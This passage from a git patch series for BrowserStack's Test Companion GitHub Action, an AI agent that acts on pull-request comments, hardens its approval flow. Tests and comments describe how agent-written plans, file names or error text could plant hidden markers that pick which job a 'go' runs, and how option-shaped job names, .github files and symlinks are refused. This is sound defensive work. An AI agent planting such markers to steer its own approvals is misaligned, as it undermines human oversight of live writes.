@browserstack, test this PR", + "LGTM.\n@browserstack test this PR", + "test this PR please @browserstack", + "thanks @browserstack.", + "(@browserstack) test this PR", + "**@browserstack** test this PR", + ]) { + const out = run(body) + assert.equal(out.skip, undefined, `"${body}" is addressed to us`) + assert.equal(out.event, TC_EVENTS.PR_COMMENT) + } + }) + + test("text that merely contains the name is not addressed to us", () => { + for (const body of [ + "ping naimish@browserstack.com about this", + "sent to QA@BrowserStack.com", + "@browserstack/qa please review", + "bump @browserstack/wdio-browserstack-service to 9.1", + "@browserstack-team have a look", + "@browserstack_ci is flaky again", + "@browserstacker said so", + "@browserstack[bot] posted twice", + ]) { + assert.equal(run(body).skip?.reason, "not-addressed-to-us", `"${body}" must not start a run`) + } + }) + + test("the old @test-companion mention no longer addresses us", () => { + assert.equal(run("@test-companion test this PR").skip?.reason, "not-addressed-to-us") + }) + + test("the mention is stripped from the instructions, and nothing else is", () => { + const out = run("@browserstack test this PR, cc qa@browserstack.com and @browserstack/qa") + assert.doesNotMatch(out.context.instructions, /(^|\s)@browserstack(\s|$)/i, "the mention itself is not an instruction") + assert.match(out.context.instructions, /qa@browserstack\.com/, "an email address is left intact") + assert.match(out.context.instructions, /@browserstack\/qa/, "a team mention is left intact") + assert.match(out.context.instructions, /test this PR/) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 17ecff4..26f0c04 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -667,7 +667,7 @@ describe("findSupersededProposal — telling a stale plan from silence", () => { * Defect found live on 2026-10-29. Someone replied "go" after the branch * had moved on, and was told: * - * "No @test-companion mention, so nothing was asked of Test Companion." + * "No @browserstack mention, so nothing was asked of Test Companion." * * Wrong twice. They DID give a valid approval word, and the real reason is * that their plan was for an earlier commit. The guard that drops @@ -790,7 +790,7 @@ describe("the two marker readers must not drift apart", () => { * * The consequence was the exact failure commit 0c2125b68f fixed: reply * `go` after the branch moves, the superseded lookup finds nothing, and - * you are told "No @test-companion mention" again. + * you are told "No @browserstack mention" again. * * The old tests missed it because the superseded block hand-wrote its * fixture while the new marker tests only ever fed proposalMarkerFor @@ -882,7 +882,7 @@ describe("a proposal for a job that writes no plan file", () => { }) /** - * Live run 41049398591. Someone asked "@test-companion explain why the + * Live run 41049398591. Someone asked "@browserstack explain why the * contract check is failing". The agent answered — "CI failure analysis from * a run link is not enabled for your account yet. Please reach out to support * to get access." — and the pull request comment showed a table saying diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index c35bed3..8bcd92c 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -268,7 +268,7 @@ describe("a comment that is not for us does not start a job", () => { test("the job is filtered before any runner starts", () => { assert.match(job, /if: >-/) assert.match(job, /github\.event_name != 'issue_comment'/) - assert.match(job, /contains\(github\.event\.comment\.body, '@test-companion'\)/) + assert.match(job, /contains\(github\.event\.comment\.body, '@browserstack'\)/) }) test("a bare approval still gets through — proposals ask for exactly that", () => { @@ -278,6 +278,10 @@ describe("a comment that is not for us does not start a job", () => { test("every other event is untouched, so pushes and schedules still run", () => { // The filter opens with the non-comment case for exactly this reason. - assert.ok(job.indexOf("!= 'issue_comment'") < job.indexOf("@test-companion")) + // Compare against the condition itself, not the first "@browserstack": + // the comment above the filter mentions the name too. + const mentionCheck = job.indexOf("contains(github.event.comment.body, '@browserstack')") + assert.ok(mentionCheck > 0, "the mention check is in the filter") + assert.ok(job.indexOf("!= 'issue_comment'") < mentionCheck) }) }) From c859119efd1797e0c745d66357a7150a6d0b4d7c Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Thu, 5 Nov 2026 15:16:37 +0530 Subject: [PATCH 40/49] ci: run the Test Companion Action's tests on every change to it Nothing in this repository ran them. The step fails on any "not ok" line as well as on the exit code: when a test file throws while it loads, node --test reports "fail 0" and exits 0 even though none of that file's tests ran. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/test-companion-tests.yml | 51 ++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 .github/workflows/test-companion-tests.yml diff --git a/.github/workflows/test-companion-tests.yml b/.github/workflows/test-companion-tests.yml new file mode 100644 index 0000000..3b3338a --- /dev/null +++ b/.github/workflows/test-companion-tests.yml @@ -0,0 +1,51 @@ +# Runs the Test Companion Action's own unit tests. +# +# The Action runs on customers' machines with their credentials, so its tests +# have to run on every change to it. +# +# The `paths` filter is safe only while this check is NOT required. A required +# check with a paths filter never reports on a pull request that misses the +# filter, and then blocks that pull request from merging for ever. If this is +# ever made required, remove the filter. +name: Test Companion tests + +on: + pull_request: + branches: [master] + paths: + - "test-companion/**" + - ".github/workflows/test-companion-tests.yml" + push: + branches: [master] + paths: + - "test-companion/**" + +permissions: + contents: read + +jobs: + unit-tests: + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + + # The Action has no dependencies: Node's standard library plus `gh`. + # There is nothing to install. + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: "22" + + # The exit code alone is not enough. When a test file throws while it + # loads (a missing import, say), `node --test` prints "fail 0" and + # exits 0, even though none of that file's tests ran. The only sign + # is a `not ok` line, so fail on that as well. + - name: Run the unit tests + working-directory: test-companion + run: | + set -o pipefail + node --test --test-reporter=tap test/*.test.mjs | tee test-output.tap + if grep -nE '^\s*not ok' test-output.tap; then + echo "::error::A test failed or a test file did not load. See the 'not ok' lines above." + exit 1 + fi From 2fdb6f9be48de65e3d63df702826358a57090a3a Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Thu, 5 Nov 2026 16:19:17 +0530 Subject: [PATCH 41/49] fix: "go" approves only when the comment opens with it The approval word matched anywhere in an addressed comment. With a plan waiting, "don't go ahead yet, explain this failure" or "no, do not approve that" approved it, and that starts a live run that writes to the branch. It is now anchored to the start of the instruction, after any politeness, the same way stop and set up already were. "go, and fix case 3's title" still approves. Also fixes a test that passed its jobs as a bare list, so the job-name matcher it meant to exercise never saw them, and adds a test that goes through plan-run first, since the anchoring relies on the mention being removed before the intent is read. Co-Authored-By: Claude Opus 5.5 --- test-companion/src/intent.mjs | 16 ++++--- .../test/approval-targeting.test.mjs | 40 +++++++++++++--- test-companion/test/intent.test.mjs | 48 ++++++++++++++++++- 3 files changed, 89 insertions(+), 15 deletions(-) diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index 85b021f..15935aa 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -80,12 +80,14 @@ const RECHECK = /\bre-?\s?check\b/i /** * Approve a waiting proposal. * - * Tested AFTER the job words, deliberately. "go" is two letters and turns up - * inside ordinary instructions, so a sentence that names a job is read as - * asking for that job; only a reply naming none is an approval. `\bgo\b` does - * not match "going", which is the case that would otherwise bite. + * ANCHORED, like STOP and SETUP: only a comment that OPENS with the word (after + * any politeness) approves. Matched anywhere, a comment that merely mentions it + * approved a waiting plan and started a live run that writes to the branch: + * "don't go ahead yet, explain this failure" and "no, do not approve that" + * both did. Opening with it still allows edits after it: "go, and fix case 3's + * title". `\b` keeps "going" and "gopher" out. */ -const GO = /\b(go|approved?)\b/i +const GO = /^(?:go|approved?)\b/i /** * An approval and nothing else. @@ -212,7 +214,7 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal // match anywhere, so testing them first would read "go, and fix case 3's // title" as a fresh request for `fix` and drop the approval. Still after // STOP: approving and cancelling in one breath has to cancel. - if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } + if (proposalWaiting && GO.test(asked)) return { kind: INTENT.GO, proposalId: namedProposal(text) } for (const [pattern, candidates] of PHRASES) { if (pattern.test(text)) { @@ -225,7 +227,7 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal if (named) return { kind: INTENT.WORKFLOW, workflow: named, preview } // a reply of "go", with or without edits to the case list. - if (GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } + if (GO.test(asked)) return { kind: INTENT.GO, proposalId: namedProposal(text) } // No job named, but a clear ask: run whatever the pipeline file binds to this // event — the same thing an event-driven run does — and carry the preview diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index f35e6a4..6c3522e 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -263,17 +263,17 @@ describe("naming a plan is not editing it", () => { describe("a plan reference has to sit next to the approval", () => { /** - * . GO_TARGET matched a `#id` anywhere in the comment, so + * GO_TARGET matched a `#id` anywhere in the comment, so * "@browserstack go — and pull the steps from #issuecomment-…" * became an approval of a plan that does not exist, and was refused. + * + * readIntent receives the comment with the mention already removed by + * plan-run.mjs, so that is what is passed here. */ test("a link quoted later in the sentence is not a plan reference", () => { - const got = readIntent( - "@browserstack go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", - { - proposalWaiting: true, - }, - ) + const got = readIntent("go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", { + proposalWaiting: true, + }) assert.equal(got.kind, INTENT.GO) assert.equal(got.proposalId, undefined) }) @@ -286,3 +286,29 @@ describe("a plan reference has to sit next to the approval", () => { ) }) }) + +/** + * The approval word is only recognised at the START of the instruction, so + * this pins the hand-off it depends on: plan-run.mjs removes the mention, and + * what reaches readIntent opens with the word the person actually led with. + */ +describe("a real approval comment, end to end through plan-run", () => { + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + const intentOf = (body) => { + const plan = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + return readIntent(plan.context.instructions, { workflows: ["test-pr", "fix"], proposalWaiting: true }) + } + + test("an addressed approval with edits still approves", () => { + assert.equal(intentOf("@browserstack go, and drop case two").kind, INTENT.GO) + assert.equal(intentOf("@BrowserStack approved, but rename the login case").kind, INTENT.GO) + }) + + test("an addressed comment that only mentions the word does not", () => { + assert.notEqual(intentOf("@browserstack don't go ahead yet, explain this failure").kind, INTENT.GO) + }) +}) diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs index 1113aec..855d4d8 100644 --- a/test-companion/test/intent.test.mjs +++ b/test-companion/test/intent.test.mjs @@ -215,7 +215,7 @@ describe("stop and set up are what the comment ASKS FOR, not words it contains", * the ones where the word is incidental. A leading politeness is allowed, * because "please stop" is plainly a stop. */ - const jobs = ["test-pr", "fix", "rca"] + const jobs = { workflows: ["test-pr", "fix", "rca"] } test('"stop" still stops, with or without politeness', () => { for (const body of ["stop", "please stop", "can you stop", "stop, don't fix anything"]) { @@ -302,3 +302,49 @@ describe("a reply to a waiting proposal is read as an approval first", () => { assert.equal(readIntent("looks good to me", bound).kind, INTENT.UNKNOWN) }) }) + +/** + * The approval word counts only when the comment OPENS with it, like stop and + * set up. Matched anywhere, a comment that merely mentions it approved a + * waiting plan, and that starts a LIVE run that writes to the branch: + * + * "don't go ahead yet, explain this failure" -> approved + * "no, do not approve that, test this PR instead" -> approved + * + * and with nothing waiting, "let's go over the login flow" was told there was + * no plan to approve instead of being offered what it can ask for. + */ +describe("go approves only when the comment opens with it", () => { + const waiting = { workflows: ["test-pr", "fix", "rca"], proposalWaiting: true } + const idle = { workflows: ["test-pr", "fix", "rca"], proposalWaiting: false } + + test("a comment that only mentions the word does not approve a waiting plan", () => { + for (const body of [ + "don't go ahead yet, explain this failure", + "no, do not approve that, test this PR instead", + "wait before you go", + ]) { + assert.notEqual(readIntent(body, waiting).kind, INTENT.GO, body) + } + }) + + test("with nothing waiting, a passing mention is not read as an approval either", () => { + assert.notEqual(readIntent("let's go over the login flow", idle).kind, INTENT.GO) + }) + + test("a comment that opens with the word still approves, edits and all", () => { + for (const body of [ + "go", + "Go!", + "please go", + "approved", + "approve", + "go, and fix case 3's title", + "approved, but rename the login case", + "go #1234567", + "go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", + ]) { + assert.equal(readIntent(body, waiting).kind, INTENT.GO, body) + } + }) +}) From b6872e30a91ceb77df355cce479545c1765c0f38 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Thu, 5 Nov 2026 16:19:17 +0530 Subject: [PATCH 42/49] fix: neutralise markers in the saved-work note, approver note and warnings Our own comment is trusted, so a hidden marker in it is read back as a real proposal or a spent plan. Every other borrowed field was already neutralised; these three were not. The saved-work note carries file names the agent created and git's error text, so a file named like a marker could plant one. Co-Authored-By: Claude Opus 5.5 --- test-companion/src/report.mjs | 9 +++++--- test-companion/test/report.test.mjs | 36 +++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index eb56233..bc7ce3a 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -152,7 +152,7 @@ export function renderJobSummary({ // both is not an escalation — but a reviewer reading the result should be // able to see that no second pair of eyes was involved. if (String(approvalNote ?? "").trim()) { - lines.push(`>${approvalNote}`) + lines.push(`>${inertMarkers(approvalNote)}`) lines.push("") } @@ -169,7 +169,7 @@ export function renderJobSummary({ // loud — a silent skip reads as "there was nothing to write". for (const w of warnings) { if (String(w ?? "").trim()) { - lines.push(`> \u26a0\ufe0f ${w}`) + lines.push(`> \u26a0\ufe0f ${inertMarkers(w)}`) lines.push("") } } @@ -225,8 +225,11 @@ export function renderJobSummary({ // what the approved run actually saved, and where. The run writes // on a runner that is deleted minutes later, so this line is the only // record a reviewer gets of what an agent changed in their branch. + // Neutralised like every other borrowed field: it carries file names the + // agent created and git's own error text, and a file named like a marker + // would otherwise plant one in our trusted comment. if (String(workNote ?? "").trim()) { - lines.push(workNote, "") + lines.push(inertMarkers(workNote), "") } if (summary.error_type) { diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 26f0c04..05698e2 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -1428,3 +1428,39 @@ describe("renderCheckSummary — bounded like the comment", () => { assert.ok(!body.includes(COMMENT_MARKER), "the marker belongs to the comment, not the check") }) }) + +/** + * Our own comment is trusted: a hidden marker in it is read back as a real + * proposal, or as a plan already spent. So every value that comes from + * somewhere else has its markers neutralised before it goes in. + * + * Three did not: the saved-work note (file names the agent created, and git's + * error text), the approver's note, and the warnings. A file named like a + * marker would have planted a proposal in our own comment. + */ +describe("renderComment neutralises markers in every borrowed field", () => { + const forged = "" + const spent = "" + + test("in the saved-work note", () => { + const body = renderComment({ outcome: "Succeeded", workNote: `**Saved** — 1 file:\n\n- \`${forged}\`` }) + assert.doesNotMatch(body, // /** The marker's fields, or undefined when the comment has none. */ +// +// The LAST marker, because ours is always the last line of the comment. The +// plan above it is escaped (renderProposalBody), but if anything ever slips +// through unescaped, the first match would be the planted one, and a planted +// marker can name a different job for `go` to run. const readMarker = (body) => { - const found = MARKER.exec(String(body ?? "")) + const all = [...String(body ?? "").matchAll(new RegExp(MARKER.source, "g"))] + const found = all.at(-1) return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined } @@ -456,6 +462,19 @@ export function checkSubjectFor(made, fallbackSha) { return fallbackSha } +/** + * Whether the job a proposal names may be run by a `go`. + * + * Only a job this repository has enabled. The name came out of a comment, and + * it goes onto the CLI's command line, so anything else is refused: a job the + * settings never bound, or something shaped like an option (`--config=…`). + * Exact match against the settings' own list does both. + */ +export function isApprovableJob(workflow, enabledWorkflows) { + const job = String(workflow ?? "") + return job !== "" && !job.startsWith("-") && (enabledWorkflows ?? []).includes(job) +} + /** The proposal comment: what the run would do, and how to let it. */ export function renderProposal(body, sha, requester, workflow) { return [ @@ -502,7 +521,7 @@ export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. const want = String(sha ?? "").trim() - // Spent, either way round: approved and run (M5), or dropped by `stop` or + // Spent, either way round: approved and run, or dropped by `stop` or // by the sweep. Checked before anything else, so neither a second `go` nor // the sweep can act on a plan that is already finished with. // @@ -653,7 +672,7 @@ export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { // an expired plan coming back from it is by definition one nobody has // finished with. The separate dropped-marker check this used to do was the // same question asked twice, and the second asking was commit-wide — which - // is exactly what item 5 had to stop. + // is exactly what per-job plans had to stop. return Boolean(findProposal(comments, sha, now, us)?.expired) } @@ -748,23 +767,27 @@ export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) */ export function renderProposalBody({ summary, plan, sizeNote } = {}) { const parts = [] - // warning goes above the list, where it can still change what the + // The size warning goes above the list, where it can still change what the // reviewer approves. if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") - if (String(summary ?? "").trim()) parts.push(summary, "") + // Escaped, both of them. The plan is written by the agent, so it can carry + // a hidden `` that the person approving + // never sees, naming a different job for their `go` to run. + const safeSummary = inertMarkers(String(summary ?? "")) + if (safeSummary.trim()) parts.push(safeSummary, "") - const body = String(plan ?? "").trim() + const body = inertMarkers(String(plan ?? "").trim()) // The answer is now caught off the run's own output and rendered in the // summary above, for every job. For the verbs whose result file holds that // SAME closing text — `test-pr` proposing is one — appending it here - // printed the whole explanation twice (live run 41457337090). Compared on + // printed the whole explanation twice. Compared on // squashed whitespace, because the two copies travel by different routes // and need not agree on line breaks. const squash = (t) => String(t ?? "") .replace(/\s+/g, " ") .trim() - const alreadyAbove = body !== "" && squash(summary).includes(squash(body)) + const alreadyAbove = body !== "" && squash(safeSummary).includes(squash(body)) // Only `test-pr` writes a separate plan file. For every other job the // proposal run is a PREVIEW run — it does the work and writes nothing // so its report above IS what is being approved. Saying "there is nothing @@ -779,7 +802,7 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { /** * A proposal on this pull request that a newer commit has left behind. * - * keys a proposal to a commit, so a new commit silently replaces it. + * The marker keys a proposal to a commit, so a new commit silently replaces it. * That is the right safety behaviour: a plan written against code that has * since changed must never be carried out. But silence is the wrong way to * say it. @@ -809,8 +832,8 @@ export function findSupersededProposal(comments, sha, us) { } /** - * Create the "Test Companion" check, or update the one this run already made - * , "one check, never neutral". + * Create the "Test Companion" check, or update the one this run already made: + * one check, never neutral. * * Every call used to POST. A single run posts up to three times — in progress * before the work, the result after it, and the catch-all on a crash — so a diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 1f341c0..aa95e9f 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -1,4 +1,4 @@ -# Test Companion — copy this to.github/workflows/test-companion.yml +# Test Companion — copy this to .github/workflows/test-companion.yml # # Two secrets and you are done: BROWSERSTACK_USERNAME and BROWSERSTACK_ACCESS_KEY, # under Settings → Secrets and variables → Actions. @@ -14,7 +14,7 @@ name: Test Companion on: - # Ask for something by commenting "@browserstack." on a pull request. + # Ask for something by commenting "@browserstack" on a pull request. issue_comment: types: [created] # A pull request opening or receiving commits. @@ -58,12 +58,18 @@ concurrency: # is already going. Sharing the work group with that run, and queueing # rather than cancelling, meant it waited behind the very run it was sent # to end and only started once that had finished by itself. + # + # A comment that STARTS with "@browserstack stop" goes there too. Stop is + # no longer a command, and the reply to it says so, but in the work group + # it could bump a queued `go` out of the queue. Only the start of the + # comment counts: "@browserstack test the stop button" is a real request, + # and it waits its turn like any other. group: >- test-companion-${{ github.event.pull_request.number || github.event.issue.number || github.run_id }}${{ (github.event.action == 'closed' - || contains(github.event.comment.body, 'stop')) + || startsWith(github.event.comment.body, '@browserstack stop')) && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and # the newer one waits its turn instead of superseding it. Control events @@ -98,9 +104,10 @@ jobs: || contains(github.event.comment.body, '@browserstack') || startsWith(github.event.comment.body, 'go') || startsWith(github.event.comment.body, 'approve') - # With the Test Companion GitHub App installed, this whole block can be - # deleted: the App's installation token carries these permissions - # itself. Pass app-id and app-private-key below instead. + # Keep this block, App or not. Without it the workflow token falls back + # to your repository's default, which can be write access to + # everything, and Test Companion still uses that token when the App + # cannot be reached. permissions: contents: write # branches and commits for fix / reconcile jobs pull-requests: write # the one comment, and opening a pull request @@ -119,12 +126,13 @@ jobs: # not need it there: it authenticates its own push. persist-credentials: false - # A floating major tag, deliberately, and the one place in this - # file that stays unpinned: @v1 is how you receive fixes to Test - # Companion without editing this file. Pinning it to a commit - # would freeze you on whatever shipped the day you copied this. + # A fixed release. Version tags in this repository cover every + # action in it, so there is no floating tag for Test Companion + # alone. Move to a newer release when you choose, or let + # Dependabot propose it. For the strongest pin, replace the tag + # with the release's full commit SHA. # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag - - uses: browserstack/github-actions/test-companion@v1 + - uses: browserstack/github-actions/test-companion@v1.1.0 with: username: ${{ secrets.BROWSERSTACK_USERNAME }} access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs index 4fda372..53af621 100644 --- a/test-companion/test/action-yml.test.mjs +++ b/test-companion/test/action-yml.test.mjs @@ -104,7 +104,7 @@ describe("action.yml — git's credential helper is cleaned up", () => { }) /** - * (kritansh20, ). The cleanup must not damage a + * The cleanup must not damage a * self-hosted runner's own git configuration. */ describe("action.yml — the cleanup only removes what this job added", () => { diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index 6c3522e..a0d21a0 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -184,7 +184,7 @@ describe("naming a plan does not need the mention", () => { * * Still narrow. `go` followed by a plan reference and nothing else is * unmistakably aimed at us; "Approved, but rename the login case" is still - * an ordinary review comment and still needs the mention (M3, ). + * an ordinary review comment and still needs the mention. */ const comment = (body) => ({ action: "created", @@ -229,11 +229,11 @@ describe("naming a plan does not need the mention", () => { describe("naming a plan is not editing it", () => { /** - * (kritansh20, ). `hasApproverEdits("go ")` + * `hasApproverEdits("go ")` * was true, because the bare-approval pattern allowed no plan reference. * That is not just a wrong line in the report: renderApprovedPlan uses the * same answer to append "# Changes the approver made … these win" to the - * plan the agent is handed. So the feature added by item 5 injected its own + * plan the agent is handed. So the per-job approval feature injected its own * comment id into the plan as an authoritative instruction. */ test("go #id is a bare approval", () => { diff --git a/test-companion/test/build-effect.test.mjs b/test-companion/test/build-effect.test.mjs index 43f2aa5..0dc27a2 100644 --- a/test-companion/test/build-effect.test.mjs +++ b/test-companion/test/build-effect.test.mjs @@ -50,7 +50,7 @@ describe("the default reddens a broken run and nothing else", () => { * that reddening builds is the one direction a misconfiguration must not * fail in. That reasoning made sense while report WAS the default. Now that * it is not, a typo buying you a quieter setting than everybody else gets - * is the silent pass item 6 is about — and a misspelling leaves you exactly + * is exactly the silent pass to avoid — and a misspelling leaves you exactly * where a fresh install would be, which is defensible. */ test("a misspelling lands on the default, not on the quietest setting", () => { @@ -108,7 +108,7 @@ describe("the input documents what it does", () => { describe("an unrecognised value explains the reddening it causes", () => { /** - * (kritansh20, ). Reversing the fail-closed rule + * Reversing the fail-closed rule * means `build-effect: none` / `warn` / `false` starts reddening builds. * That is the right default, but it should say why. */ diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index c0b8e36..69f1588 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -82,7 +82,7 @@ describe("every src module is reachable", () => { }) /** - * Found by a live run, run 41048725625. Asking "@browserstack explain why + * Found by a live run. Asking "@browserstack explain why * the contract check is failing" worked: the Action found the red build and * passed it to the CLI. Replying "go" to the proposal it put up did NOT * the CLI was spawned with no build at all and died with @@ -123,7 +123,7 @@ describe("main.mjs — the failing build is resolved after the workflow is final * spawned afterwards inherits it — and the agent runs with --yolo, so "what * gets spawned afterwards" includes programs it chose. * - * The git half of B3 is closed in push-work.mjs (minimal env, hooks and + * The git half of keeping credentials from the agent is closed in push-work.mjs (minimal env, hooks and * fsmonitor off, config allow-listed, binary pinned). This is the other half: * once the key has been used, it should not still be readable. */ diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs index 3cb9f04..cd45cbe 100644 --- a/test-companion/test/outcome.test.mjs +++ b/test-companion/test/outcome.test.mjs @@ -120,7 +120,7 @@ describe("stepShouldFail — build effect", () => { // REVERSED by. While `report` was the // default, "a misconfiguration must never redden a build" was the safe // direction. The default is now fail-on-break, so a typo landing you on a - // quieter setting than a fresh install is the silent pass item 6 is about. + // quieter setting than a fresh install is exactly the silent pass to avoid. // The whole rule lives in build-effect.test.mjs now; this is the hinge. test("anything unrecognised behaves as the default", () => { assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), true) @@ -164,7 +164,7 @@ describe("resolveOutcome — an unbound event is skipped, not broken", () => { * actually happened. * * Found live: an approved `fix` died in under a second before doing any work - * (the dedupe claim had no credential, run 41463749519), and the result comment + * (the dedupe claim had no credential), and the result comment * still carried the consumed marker. Every later `go` on that commit was then * refused — "already been approved and run on this commit" — including after a * fresh proposal was put up. The only way out was a new commit. diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs index f51c9de..bfec758 100644 --- a/test-companion/test/plan-run.test.mjs +++ b/test-companion/test/plan-run.test.mjs @@ -456,8 +456,8 @@ describe("a bare approval reaches us", () => { }) /** - * CHANGED by M3. This used to be carried through, so - * "edit the list while approving" worked with no mention. But + * CHANGED. This used to be carried through, so + * "edit the list while approving" worked with no mention. But * "Approved, but rename the login case" is an ordinary review comment on * any pull request, and unaddressed it started a live write run with the * trailing text as approver edits that win. diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index a9601c1..9abafaa 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -744,7 +744,7 @@ describe("gh itself must be the real gh, with settings nobody planted", () => { }) /** - * Found by live run 41049398591, which refused to save with a list of + * Found by a live run, which refused to save with a list of * fifteen "unexpected" keys — every one of them a flag WE pass in * GIT_SAFE_ARGS. * @@ -809,3 +809,33 @@ describe("the push carries the run's test files and nothing else", () => { assert.equal(agentCommitted("", "bbb222"), true) }) }) + +/** + * `.github/` tells GitHub what to run, and a symlink can point anywhere on the + * runner. Neither is test work, so neither is pushed. + */ +describe("splitPushable refuses .github and symlinks", () => { + test("anything under .github is skipped", () => { + const { push, skip } = splitPushable([ + ".github/actions/setup/action.yml", + ".github/CODEOWNERS", + ".github/workflows/ci.yml", + "packages/web/.GitHub/x.yml", + "tests/login.spec.ts", + ]) + assert.deepEqual(push, ["tests/login.spec.ts"]) + assert.equal(skip.length, 4) + }) + + test("a file merely named like it is kept", () => { + const { push } = splitPushable(["tests/github.spec.ts", "src/.githubrc.test.ts"]) + assert.deepEqual(push, ["tests/github.spec.ts", "src/.githubrc.test.ts"]) + }) + + test("a symlink is skipped", () => { + const isSymlink = (p) => p === "tests/fixtures/link" + const { push, skip } = splitPushable(["tests/fixtures/link", "tests/a.spec.ts"], { isSymlink }) + assert.deepEqual(push, ["tests/a.spec.ts"]) + assert.deepEqual(skip, ["tests/fixtures/link"]) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 05698e2..4a4d3df 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -26,12 +26,13 @@ import { renderApprovedPlan, hasApproverEdits, renderProposalBody, + isApprovableJob, findSupersededProposal, checkRequestFor, inFlightCheckId, } from "../src/report.mjs" -/** The login this Action posts as. Identity, not account type — see M2. */ +/** The login this Action posts as. Identity, not account type. */ const US = "test-companion[bot]" const base = { @@ -57,7 +58,7 @@ describe("renderJobSummary", () => { // It must NOT claim nothing at all was written. Preview deliberately // allows `execute_command`, since that is how tests run, so a shell // command the agent chose can still edit a file or push. The old wording - // promised a guarantee the gate does not give (review finding, ). + // promised a guarantee the gate does not give. assert.doesNotMatch(md, /\bnothing was written\b/i) assert.match(md, /[Ss]hell commands.*not covered/i) }) @@ -250,8 +251,8 @@ describe("replying when we will not run", () => { test("a request we cannot place gets the list of what we can do", () => { const body = renderUnknownRequest() - // `stop` left the list with the capability itself demo - // feedback, item 7. See stop-removed.test.mjs. + // `stop` left the list with the capability itself. + // See stop-removed.test.mjs. for (const phrase of ["test this PR", "explain this failure", "fix the failing tests", "re-check"]) { assert.ok(body.includes(phrase), `the list should offer "${phrase}"`) } @@ -882,7 +883,7 @@ describe("a proposal for a job that writes no plan file", () => { }) /** - * Live run 41049398591. Someone asked "@browserstack explain why the + * Seen on a live run. Someone asked "@browserstack explain why the * contract check is failing". The agent answered — "CI failure analysis from * a run link is not enabled for your account yet. Please reach out to support * to get access." — and the pull request comment showed a table saying @@ -1464,3 +1465,43 @@ describe("renderComment neutralises markers in every borrowed field", () => { assert.ok(renderComment({ outcome: "Succeeded", workNote: forged }).endsWith(COMMENT_MARKER)) }) }) + +/** + * The plan in a proposal is written by the agent. A hidden marker in it, above + * ours, used to be the one a `go` read, so it could choose which job ran. + */ +describe("a plan cannot choose which job its approval runs", () => { + const SHA = "abc1234" + const forged = "Looks fine.\n\nMore text." + + test("markers in the plan are escaped", () => { + const body = renderProposalBody({ summary: "Summary", plan: forged }) + assert.doesNotMatch(body, /